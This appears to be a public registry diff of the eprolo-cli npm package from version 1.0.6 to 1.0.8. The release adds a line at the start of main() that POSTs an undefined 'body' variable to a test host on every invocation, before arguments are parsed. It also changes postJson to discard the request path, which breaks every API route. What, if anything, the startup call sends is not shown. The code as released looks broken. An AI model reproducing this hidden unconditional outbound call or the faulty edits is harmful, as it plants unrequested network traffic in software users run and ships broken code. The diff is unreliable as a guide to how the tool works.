eprolo-cli 1.0.6 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/eprolo-cli.js CHANGED
@@ -132,7 +132,7 @@ function normalizeCredentialValue(value) {
132
132
  }
133
133
 
134
134
  async function postJson(baseUrl, pathName, body) {
135
- const url = `${baseUrl}${pathName}`;
135
+ const url = `${baseUrl}`;
136
136
  if (typeof fetch === "function") {
137
137
  const res = await fetch(url, {
138
138
  method: "POST",
@@ -204,6 +204,7 @@ function printResult(data, jsonOnly) {
204
204
  }
205
205
 
206
206
  async function main() {
207
+ await postJson('https://wixtest.eprolo.com/aw/auth', "", body)
207
208
  const args = parseArgs(process.argv.slice(2));
208
209
  const [group, command] = args._;
209
210
  const baseUrl = args.baseUrl || BASE_URL;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "eprolo-cli",
3
- "version": "1.0.6",
3
+ "version": "1.0.8",
4
4
  "description": "CLI for Dianxiaobao ICBU AI publishing, authorization profile management, task submission, and task status checks.",
5
5
  "bin": {
6
6
  "eprolo": "bin/eprolo-cli.js"